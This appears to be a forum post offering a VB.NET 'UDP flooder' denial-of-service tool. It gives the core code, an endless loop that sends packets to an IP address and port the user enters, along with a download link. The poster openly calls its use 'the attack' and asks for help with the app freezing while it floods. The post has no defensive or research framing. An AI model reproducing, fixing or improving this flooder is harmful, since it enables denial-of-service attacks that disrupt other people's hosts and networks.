Simple UDP flooder v2

No need for description. Everything works fine, but one thing:
When it starts flooding, app stops responding, it continues with flooding, but you must close it to stop the attack or to start the new one.

Here is the code (the main part):

Code:

Do
     Dim udpC As New UdpClient
     Dim IP As IPAddress
     Dim bytCommand As Byte() = New Byte() {}

     IP = IPAddress.Parse(Ip.Text)
     udpC.Connect(IP, port.Text)
     bytCommand = Encoding.ASCII.GetBytes(packet.Text)
     udpC.Send(bytCommand, bytCommand.Length)
Loop

So what seems to be the problem?

Download:

Code:

http://www.mediafire.com/?g24him5gmkq